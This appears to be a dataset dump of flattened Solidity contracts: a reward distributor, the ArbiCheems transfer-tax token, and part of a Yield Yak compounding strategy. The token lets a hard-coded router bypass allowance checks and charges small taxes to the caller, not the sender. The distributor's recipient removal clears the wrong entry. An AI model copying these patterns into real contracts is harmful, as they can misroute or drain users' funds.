(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success,
bytes memory returndata,
string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function addressToString(address _address) internal pure returns(string memory) {
bytes32 _bytes = bytes32(uint256(_address));
bytes memory HEX = "0123456789abcdef";
bytes memory _addr = new bytes(42);
_addr[0] = '0';
_addr[1] = 'x';
for(uint256 i = 0; i < 20; i++) {
_addr[2+i*2] = HEX[uint8(_bytes[i + 12] >> 4)];
_addr[3+i*2] = HEX[uint8(_bytes[i + 12] & 0x0f)];
}
return string(_addr);
}
}
contract OwnableData {
address public owner;
address public pendingOwner;
}
contract Ownable is OwnableData {
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/// @notice `owner` defaults to msg.sender on construction.
constructor() {
owner = msg.sender;
emit OwnershipTransferred(address(0), msg.sender);
}
/// @notice Transfers ownership to `newOwner`. Either directly or claimable by the new pending owner.
/// Can only be invoked by the current `owner`.
/// @param newOwner Address of the new owner.
function transferOwnership(address newOwner,
bool direct,
bool renounce) public onlyOwner {
if (direct) {
// Checks
require(newOwner != address(0) || renounce, "Ownable: zero address");
// Effects
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
pendingOwner = address(0);
} else {
// Effects
pendingOwner = newOwner;
}
}
/// @notice Needs to be called by `pendingOwner` to claim ownership.
function claimOwnership() public {
address _pendingOwner = pendingOwner;
// Checks
require(msg.sender == _pendingOwner, "Ownable: caller != pending owner");
// Effects
emit OwnershipTransferred(owner, _pendingOwner);
owner = _pendingOwner;
pendingOwner = address(0);
}
/// @notice Only allows the `owner` to execute the function.
modifier onlyOwner() {
require(msg.sender == owner, "Ownable: caller is not the owner");
_;
}
}
interface ITreasury {
function mintRewards(address _recipient, uint _amount) external;
}
contract Distributor is Ownable {
using LowGasSafeMath for uint;
using LowGasSafeMath for uint32;
IERC20 public immutable BIG;
ITreasury public immutable treasury;
uint32 public immutable epochLength;
uint32 public nextEpochTime;
mapping(uint => Adjust) public adjustments;
event LogDistribute(address indexed recipient, uint amount);
event LogAdjust(uint initialRate, uint currentRate, uint targetRate);
event LogAddRecipient(address indexed recipient, uint rate);
event LogRemoveRecipient(address indexed recipient);
struct Info {
uint rate; // in ten-thousandths (5000 = 0.5%)
address recipient;
}
Info[] public info;
struct Adjust {
bool add;
uint rate;
uint target;
}
constructor(address _treasury, address _big, uint32 _epochLength, uint32 _nextEpochTime) {
require(_treasury != address(0));
require(_big != address(0));
treasury = ITreasury(_treasury);
BIG = IERC20(_big);
epochLength = _epochLength;
nextEpochTime = _nextEpochTime;
}
function distribute() external returns (bool) {
if (nextEpochTime <= uint32(block.timestamp)) {
nextEpochTime = nextEpochTime.add32(epochLength); // set next epoch time
// distribute rewards to each recipient
for (uint i = 0; i < info.length; i++) {
if (info[i].rate > 0) {
treasury.mintRewards(// mint and send from treasury
info[i].recipient,
nextRewardAt(info[ i ].rate));
adjust(i); // check for adjustment
}
emit LogDistribute(info[i].recipient, nextRewardAt(info[i].rate));
}
return true;
} else {
return false;
}
}
function adjust(uint _index) internal {
Adjust memory adjustment = adjustments[_index];
if (adjustment.rate != 0) {
uint initial = info[_index].rate;
uint rate = initial;
if (adjustment.add) { // if rate should increase
rate = rate.add(adjustment.rate); // raise rate
if (rate >= adjustment.target) { // if target met
rate = adjustment.target;
delete adjustments[_index];
}
} else { // if rate should decrease
rate = rate.sub(adjustment.rate); // lower rate
if (rate <= adjustment.target) { // if target met
rate = adjustment.target;
delete adjustments[_index];
}
}
info[_index].rate = rate;
emit LogAdjust(initial, rate, adjustment.target);
}
}
function nextRewardAt(uint _rate) public view returns (uint) {
return BIG.totalSupply().mul(_rate).div(1000000);
}
function nextRewardFor(address _recipient) external view returns (uint) {
uint reward;
for (uint i = 0; i < info.length; i++) {
if (info[i].recipient == _recipient) {
reward = nextRewardAt(info[i].rate);
}
}
return reward;
}
function addRecipient(address _recipient, uint _rewardRate) external onlyOwner {
require(_recipient != address(0), "IA");
require(_rewardRate <= 5000, "Too high reward rate");
require(info.length <= 4, "limit recipients max to 5");
info.push(Info({
recipient: _recipient,
rate: _rewardRate
}));
emit LogAddRecipient(_recipient, _rewardRate);
}
function removeRecipient(uint _index, address _recipient) external onlyOwner {
require(_recipient == info[ _index ].recipient, "NA");
info[_index] = info[info.length-1];
adjustments[_index] = adjustments[ info.length-1 ];
info.pop();
delete adjustments[ info.length-1 ];
emit LogRemoveRecipient(_recipient);
}
function setAdjustment(uint _index, bool _add, uint _rate, uint _target) external onlyOwner {
require(_target <= 5000, "Too high reward rate");
adjustments[ _index ] = Adjust({
add: _add,
rate: _rate,
target: _target
});
}
}
| 313,847 | 10,830 |
1318b882557d29e21c3c51907b4d03cc3ef2dd0d7658e92e93d482f93e039fb1
| 18,047 |
.sol
|
Solidity
| false |
454080957
|
tintinweb/smart-contract-sanctuary-arbitrum
|
22f63ccbfcf792323b5e919312e2678851cff29e
|
contracts/mainnet/75/75a2f30929C539E7d4eE033c9331b89F879c0cf7_CheemsToken.sol
| 3,406 | 13,057 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.7;
interface IRouter {
function addLiquidity(address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline) external returns (uint amountA, uint amountB);
function removeLiquidityETH(address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s) external returns (uint amountToken, uint amountETH);
function removeLiquidityETHSupportingFeeOnTransferTokens(address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s) external returns (uint amountETH);
function swapExactTokensForTokens(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts);
function swapTokensForExactTokens(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external;
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] memory path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] memory path) external view returns (uint[] memory amounts);
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender,
address recipient,
uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract CheemsToken {
string constant public name = "ArbiCheems";
string constant public symbol = "CHEEMS";
uint256 constant public decimals = 18;
uint256 public totalSupply;
address immutable sushiRouter;
uint256 immutable public BIPS_DIVISOR = 10000;
uint256 public transferTax = 1200;//12%
address public stARBISReceiver;
address public treasury;
IRouter public router;
IERC20 public wETH;
IERC20 public lpToken;
bool public lpEnabled;
mapping(address=>bool) public taxFreeList;
mapping(address=>bool) public admins;
mapping(address => uint256) balances;
mapping(address => mapping(address => uint256)) allowed;
event Burn(address who, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
//for permit()
bytes32 immutable public DOMAIN_SEPARATOR;
// keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)");
bytes32 public constant PERMIT_TYPEHASH = 0x6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9;
mapping(address => uint) public nonces;
constructor(uint256 _totalSupply, address _sushiRouter, address _stARBISReceiver, address _treasury) {
sushiRouter = _sushiRouter;
stARBISReceiver = _stARBISReceiver;
treasury = _treasury;
totalSupply = _totalSupply;
balances[msg.sender] = _totalSupply;
emit Transfer(address(0), msg.sender, _totalSupply);
admins[msg.sender]=true;
DOMAIN_SEPARATOR = keccak256(abi.encode(keccak256('EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)'),
keccak256(bytes(name)),
keccak256(bytes('1')),
block.chainid,
address(this)));
}
modifier onlyAdmins() {
require(admins[msg.sender], "not a admin");
_;
}
function enableLP(address _router, address _wETH, address _LP) public onlyAdmins {
lpEnabled = true;
if (address(wETH) == address(0)) {
//can only set wETH and router once
router = IRouter(_router);
wETH = IERC20(_wETH);
lpToken = IERC20(_LP);
}
approve(address(router), totalSupply);
wETH.approve(address(router), wETH.totalSupply());
}
function setTransferTax(uint256 newTax) public onlyAdmins {
require(newTax >=10 && newTax <=2000, "not valid tax");
transferTax = newTax;
}
function disableLP() public onlyAdmins {
lpEnabled = false;
}
function addToTaxFreeList(address addy) public onlyAdmins {
taxFreeList[addy] = true;
}
function removeFromTaxFreeList(address addy) public onlyAdmins {
delete taxFreeList[addy];
}
function addAdmin(address addy) public onlyAdmins {
admins[addy] = true;
}
function setSTARBISReceiver(address addy) public onlyAdmins {
stARBISReceiver = addy;
}
function setTreasury(address addy) public onlyAdmins {
treasury = addy;
}
function balanceOf(address _owner) external view returns (uint256) {
return balances[_owner];
}
function allowance(address _owner,
address _spender)
external
view
returns (uint256)
{
if(_spender == sushiRouter) {
return type(uint256).max;
}
return allowed[_owner][_spender];
}
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external {
require(deadline >= block.timestamp, 'CHEEMS: EXPIRED');
bytes32 digest = keccak256(abi.encodePacked('\x19\x01',
DOMAIN_SEPARATOR,
keccak256(abi.encode(PERMIT_TYPEHASH, owner, spender, value, nonces[owner]++, deadline))));
address recoveredAddress = ecrecover(digest, v, r, s);
require(recoveredAddress != address(0) && recoveredAddress == owner, 'CHEEMS: INVALID_SIGNATURE');
allowed[owner][spender] = value;
emit Approval(owner, spender, value);
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function _transfer(address _from, address _to, uint256 _value) internal {
require(balances[_from] >= _value, "Insufficient balance");
unchecked {
balances[_from] -= _value;
balances[_to] = balances[_to] + _value;
}
emit Transfer(_from, _to, _value);
}
function transfer(address _to, uint256 _value) external returns (bool) {
if (taxFreeList[msg.sender] || taxFreeList[_to]) {
_transfer(msg.sender, _to, _value);
} else {
//taxxed tx
uint _transferValue = applyTransferTax(_value);
_transfer(msg.sender, _to, _transferValue);
uint _tax = _value - _transferValue;
afterTaxTransfer(msg.sender, _tax);
}
return true;
}
function transferFrom(address _from,
address _to,
uint256 _value)
external
returns (bool)
{
if(msg.sender != sushiRouter) {
require(allowed[_from][msg.sender] >= _value, "Insufficient allowance");
unchecked{ allowed[_from][msg.sender] = allowed[_from][msg.sender] - _value; }
}
if (taxFreeList[_from] || taxFreeList[_to]) {
_transfer(_from, _to, _value);
} else {
//taxxed tx
uint _transferValue = applyTransferTax(_value);
_transfer(_from, _to, _transferValue);
uint _tax = _value - _transferValue;
afterTaxTransfer(_from, _tax);
}
return true;
}
function afterTaxTransfer(address _from, uint256 _tax) internal {
if (_tax > 10000) {
uint256 half = (_tax * 5000) / BIPS_DIVISOR;
uint256 quarter = (half * 5000) / BIPS_DIVISOR;
//to send to stARBIS & treasury
_transfer(_from, stARBISReceiver, quarter);
_transfer(_from, treasury, quarter);
if (lpEnabled && quarter > BIPS_DIVISOR) {
//to burn and LP
selfBurn(quarter, _from);
_convertRewardTokensToDepositTokens(quarter);
} else {
//just burn
selfBurn(half, _from);
}
} else {
_transfer(msg.sender, stARBISReceiver, _tax);
}
}
function applyTransferTax(uint256 amount) public view returns (uint) {
return amount - ((amount * transferTax) / BIPS_DIVISOR);
}
function _convertRewardTokensToDepositTokens(uint amount) internal returns (uint) {
uint amountIn = amount / 2;
require(amountIn > 0, "amount too low");
// swap half to wETH
address[] memory path0 = new address[](2);
path0[0] = address(this);
path0[1] = address(wETH);
uint amountOutToken0 = amountIn;
if (path0[0] != path0[path0.length - 1]) {
uint[] memory amountsOutToken0 = router.getAmountsOut(amountIn, path0);
amountOutToken0 = amountsOutToken0[amountsOutToken0.length - 1];
router.swapExactTokensForTokens(amountIn, amountOutToken0, path0, address(this), block.timestamp);
}
(,,uint liquidity) = router.addLiquidity(path0[path0.length - 1], address(this),
amountOutToken0, amountIn,
0, 0,
address(this),
block.timestamp);
lpToken.transfer(treasury, liquidity);
return liquidity;
}
function selfBurn(uint256 amount, address holder) internal {
require(balances[holder] >= amount, "Insufficient balance to burn");
require(totalSupply >= amount, "Insufficient supply to burn");
unchecked {
balances[holder] -= amount;
totalSupply -= amount;
}
}
function burn(uint256 _value) public returns (bool) {
// Requires that the message sender has enough tokens to burn
require(_value <= balances[msg.sender]);
// Subtracts _value from callers balance and total supply
unchecked {
balances[msg.sender] -= _value;
totalSupply -= _value;
}
// Emits burn and transfer events, make sure you have them in your contracts
emit Burn(msg.sender, _value);
emit Transfer(msg.sender, address(0),_value);
return true;
}
}
| 42,008 | 10,831 |
44cca67b8be0bcf5a04c6a03ac905d4ee52ac451a2efdc231715cf1aa7dbb04f
| 35,659 |
.sol
|
Solidity
| false |
346833115
|
yieldyak/smart-contracts
|
dbebb18373ebb882514d9d1218f78c5ee8253918
|
flatten/CompoundingGondola.sol
| 5,996 | 22,318 |
// Sources flattened with hardhat v2.3.0 https://hardhat.org
// File contracts/lib/SafeMath.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
// From https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/math/Math.sol
// Subject to the MIT license.
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function add(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, errorMessage);
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction underflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function mul(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, errorMessage);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
// File contracts/lib/Context.sol
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
// File contracts/lib/Ownable.sol
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// File contracts/lib/Permissioned.sol
abstract contract Permissioned is Ownable {
using SafeMath for uint;
uint public numberOfAllowedDepositors;
mapping(address => bool) public allowedDepositors;
event AllowDepositor(address indexed account);
event RemoveDepositor(address indexed account);
modifier onlyAllowedDeposits() {
if (numberOfAllowedDepositors > 0) {
require(allowedDepositors[msg.sender] == true, "Permissioned::onlyAllowedDeposits, not allowed");
}
_;
}
function allowDepositor(address depositor) external onlyOwner {
require(allowedDepositors[depositor] == false, "Permissioned::allowDepositor");
allowedDepositors[depositor] = true;
numberOfAllowedDepositors = numberOfAllowedDepositors.add(1);
emit AllowDepositor(depositor);
}
function removeDepositor(address depositor) external onlyOwner {
require(numberOfAllowedDepositors > 0, "Permissioned::removeDepositor, no allowed depositors");
require(allowedDepositors[depositor] == true, "Permissioned::removeDepositor, not allowed");
allowedDepositors[depositor] = false;
numberOfAllowedDepositors = numberOfAllowedDepositors.sub(1);
emit RemoveDepositor(depositor);
}
}
// File contracts/interfaces/IERC20.sol
interface IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
function permit(address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) external;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File contracts/YakERC20.sol
abstract contract YakERC20 {
using SafeMath for uint256;
string public name = "Yield Yak";
string public symbol = "YRT";
uint8 public constant decimals = 18;
uint256 public totalSupply;
mapping (address => mapping (address => uint256)) internal allowances;
mapping (address => uint256) internal balances;
bytes32 public constant DOMAIN_TYPEHASH = 0x8b73c3c69bb8fe3d512ecc4cf759cc79239f7b179b0ffacaa9a75d522b39400f;
bytes32 public constant VERSION_HASH = 0xc89efdaa54c0f20c7adf612882df0950f5a951637e0307cdcb4c672f298b8bc6;
bytes32 public constant PERMIT_TYPEHASH = 0x6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9;
mapping(address => uint) public nonces;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
constructor() {}
function allowance(address account, address spender) external view returns (uint) {
return allowances[account][spender];
}
function approve(address spender, uint256 amount) external returns (bool) {
_approve(msg.sender, spender, amount);
return true;
}
function balanceOf(address account) external view returns (uint) {
return balances[account];
}
function transfer(address dst, uint256 amount) external returns (bool) {
_transferTokens(msg.sender, dst, amount);
return true;
}
function transferFrom(address src, address dst, uint256 amount) external returns (bool) {
address spender = msg.sender;
uint256 spenderAllowance = allowances[src][spender];
if (spender != src && spenderAllowance != uint256(-1)) {
uint256 newAllowance = spenderAllowance.sub(amount, "transferFrom: transfer amount exceeds allowance");
allowances[src][spender] = newAllowance;
emit Approval(src, spender, newAllowance);
}
_transferTokens(src, dst, amount);
return true;
}
function _approve(address owner, address spender, uint256 amount) internal {
require(owner != address(0), "_approve::owner zero address");
require(spender != address(0), "_approve::spender zero address");
allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transferTokens(address from, address to, uint256 value) internal {
require(to != address(0), "_transferTokens: cannot transfer to the zero address");
balances[from] = balances[from].sub(value, "_transferTokens: transfer exceeds from balance");
balances[to] = balances[to].add(value);
emit Transfer(from, to, value);
}
function _mint(address to, uint256 value) internal {
totalSupply = totalSupply.add(value);
balances[to] = balances[to].add(value);
emit Transfer(address(0), to, value);
}
function _burn(address from, uint256 value) internal {
balances[from] = balances[from].sub(value, "_burn: burn amount exceeds from balance");
totalSupply = totalSupply.sub(value, "_burn: burn amount exceeds total supply");
emit Transfer(from, address(0), value);
}
function permit(address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) external {
require(deadline >= block.timestamp, "permit::expired");
bytes32 encodeData = keccak256(abi.encode(PERMIT_TYPEHASH, owner, spender, value, nonces[owner]++, deadline));
_validateSignedData(owner, encodeData, v, r, s);
_approve(owner, spender, value);
}
function _validateSignedData(address signer, bytes32 encodeData, uint8 v, bytes32 r, bytes32 s) internal view {
bytes32 digest = keccak256(abi.encodePacked("\x19\x01",
getDomainSeparator(),
encodeData));
address recoveredAddress = ecrecover(digest, v, r, s);
require(recoveredAddress != address(0) && recoveredAddress == signer, "Arch::validateSig: invalid signature");
}
function getDomainSeparator() public view returns (bytes32) {
return keccak256(abi.encode(DOMAIN_TYPEHASH,
keccak256(bytes(name)),
VERSION_HASH,
_getChainId(),
address(this)));
}
function _getChainId() internal pure returns (uint) {
uint256 chainId;
assembly { chainId := chainid() }
return chainId;
}
}
// File contracts/YakStrategy.sol
abstract contract YakStrategy is YakERC20, Ownable, Permissioned {
using SafeMath for uint;
uint public totalDeposits;
IERC20 public depositToken;
IERC20 public rewardToken;
address public devAddr;
uint public MIN_TOKENS_TO_REINVEST;
uint public MAX_TOKENS_TO_DEPOSIT_WITHOUT_REINVEST;
bool public DEPOSITS_ENABLED;
uint public REINVEST_REWARD_BIPS;
uint public ADMIN_FEE_BIPS;
uint public DEV_FEE_BIPS;
uint constant internal BIPS_DIVISOR = 10000;
uint constant internal MAX_UINT = uint(-1);
event Deposit(address indexed account, uint amount);
event Withdraw(address indexed account, uint amount);
event Reinvest(uint newTotalDeposits, uint newTotalSupply);
event Recovered(address token, uint amount);
event UpdateAdminFee(uint oldValue, uint newValue);
event UpdateDevFee(uint oldValue, uint newValue);
event UpdateReinvestReward(uint oldValue, uint newValue);
event UpdateMinTokensToReinvest(uint oldValue, uint newValue);
event UpdateMaxTokensToDepositWithoutReinvest(uint oldValue, uint newValue);
event UpdateDevAddr(address oldValue, address newValue);
event DepositsEnabled(bool newValue);
modifier onlyEOA() {
require(tx.origin == msg.sender, "YakStrategy::onlyEOA");
_;
}
function setAllowances() public virtual;
function revokeAllowance(address token, address spender) external onlyOwner {
require(IERC20(token).approve(spender, 0));
}
function deposit(uint amount) external virtual;
function depositWithPermit(uint amount, uint deadline, uint8 v, bytes32 r, bytes32 s) external virtual;
function depositFor(address account, uint amount) external virtual;
function withdraw(uint amount) external virtual;
function reinvest() external virtual;
function estimateReinvestReward() external view returns (uint) {
uint unclaimedRewards = checkReward();
if (unclaimedRewards >= MIN_TOKENS_TO_REINVEST) {
return unclaimedRewards.mul(REINVEST_REWARD_BIPS).div(BIPS_DIVISOR);
}
return 0;
}
function checkReward() public virtual view returns (uint);
function estimateDeployedBalance() external virtual view returns (uint);
function rescueDeployedFunds(uint minReturnAmountAccepted, bool disableDeposits) external virtual;
function getSharesForDepositTokens(uint amount) public view returns (uint) {
if (totalSupply.mul(totalDeposits) == 0) {
return amount;
}
return amount.mul(totalSupply).div(totalDeposits);
}
function getDepositTokensForShares(uint amount) public view returns (uint) {
if (totalSupply.mul(totalDeposits) == 0) {
return 0;
}
return amount.mul(totalDeposits).div(totalSupply);
}
function updateMinTokensToReinvest(uint newValue) public onlyOwner {
emit UpdateMinTokensToReinvest(MIN_TOKENS_TO_REINVEST, newValue);
MIN_TOKENS_TO_REINVEST = newValue;
}
function updateMaxTokensToDepositWithoutReinvest(uint newValue) public onlyOwner {
emit UpdateMaxTokensToDepositWithoutReinvest(MAX_TOKENS_TO_DEPOSIT_WITHOUT_REINVEST, newValue);
MAX_TOKENS_TO_DEPOSIT_WITHOUT_REINVEST = newValue;
}
function updateDevFee(uint newValue) public onlyOwner {
require(newValue.add(ADMIN_FEE_BIPS).add(REINVEST_REWARD_BIPS) <= BIPS_DIVISOR);
emit UpdateDevFee(DEV_FEE_BIPS, newValue);
DEV_FEE_BIPS = newValue;
}
function updateAdminFee(uint newValue) public onlyOwner {
require(newValue.add(DEV_FEE_BIPS).add(REINVEST_REWARD_BIPS) <= BIPS_DIVISOR);
emit UpdateAdminFee(ADMIN_FEE_BIPS, newValue);
ADMIN_FEE_BIPS = newValue;
}
function updateReinvestReward(uint newValue) public onlyOwner {
require(newValue.add(ADMIN_FEE_BIPS).add(DEV_FEE_BIPS) <= BIPS_DIVISOR);
emit UpdateReinvestReward(REINVEST_REWARD_BIPS, newValue);
REINVEST_REWARD_BIPS = newValue;
}
function updateDepositsEnabled(bool newValue) public onlyOwner {
require(DEPOSITS_ENABLED != newValue);
DEPOSITS_ENABLED = newValue;
emit DepositsEnabled(newValue);
}
function updateDevAddr(address newValue) public {
require(msg.sender == devAddr);
emit UpdateDevAddr(devAddr, newValue);
devAddr = newValue;
}
function recoverERC20(address tokenAddress, uint tokenAmount) external onlyOwner {
require(tokenAmount > 0);
require(IERC20(tokenAddress).transfer(msg.sender, tokenAmount));
emit Recovered(tokenAddress, tokenAmount);
}
function recoverAVAX(uint amount) external onlyOwner {
require(amount > 0);
msg.sender.transfer(amount);
emit Recovered(address(0), amount);
}
}
// File contracts/interfaces/IGondolaChef.sol
interface IGondolaChef {
function gondola() external view returns (address);
function gondolaPerSec() external view returns (uint256);
function totalAllocPoint() external view returns (uint256);
function startAt() external view returns (uint256);
function poolLength() external view returns (uint256);
function add(uint256 _allocPoint, address _lpToken, bool _withUpdate) external;
function set(uint256 _pid, uint256 _allocPoint, bool _withUpdate) external;
function getMultiplier(uint256 _from, uint256 _to) external view returns (uint256);
function pendingGondola(uint256 _pid, address _user) external view returns (uint256);
function massUpdatePools() external;
function updatePool(uint256 _pid) external;
function deposit(uint256 _pid, uint256 _amount) external;
function withdraw(uint256 _pid, uint256 _amount) external;
function emergencyWithdraw(uint256 _pid) external;
function poolInfo(uint pid) external view returns (address lpToken,
uint allocPoint,
uint lastRewardAt,
uint accGondolaPerShare);
function userInfo(uint pid, address user) external view returns (uint256 amount,
uint256 rewardDebt);
event Deposit(address indexed user, uint256 indexed pid, uint256 amount);
event Withdraw(address indexed user, uint256 indexed pid, uint256 amount);
event EmergencyWithdraw(address indexed user, uint256 indexed pid, uint256 amount);
}
// File contracts/interfaces/IPair.sol
interface IPair is IERC20 {
function token0() external pure returns (address);
function token1() external pure returns (address);
}
// File contracts/strategies/CompoundingGondola.sol
contract CompoundingGondola is YakStrategy {
using SafeMath for uint;
IGondolaChef public stakingContract;
uint public PID;
constructor(string memory _name,
address _depositToken,
address _rewardToken,
address _stakingContract,
address _timelock,
uint _pid,
uint _minTokensToReinvest,
uint _adminFeeBips,
uint _devFeeBips,
uint _reinvestRewardBips) {
name = _name;
depositToken = IPair(_depositToken);
rewardToken = IERC20(_rewardToken);
stakingContract = IGondolaChef(_stakingContract);
PID = _pid;
devAddr = msg.sender;
setAllowances();
updateMinTokensToReinvest(_minTokensToReinvest);
updateAdminFee(_adminFeeBips);
updateDevFee(_devFeeBips);
updateReinvestReward(_reinvestRewardBips);
updateDepositsEnabled(true);
transferOwnership(_timelock);
emit Reinvest(0, 0);
}
function setAllowances() public override onlyOwner {
depositToken.approve(address(stakingContract), MAX_UINT);
}
function deposit(uint amount) external override {
_deposit(msg.sender, amount);
}
function depositWithPermit(uint amount, uint deadline, uint8 v, bytes32 r, bytes32 s) external override {
depositToken.permit(msg.sender, address(this), amount, deadline, v, r, s);
_deposit(msg.sender, amount);
}
function depositFor(address account, uint amount) external override {
_deposit(account, amount);
}
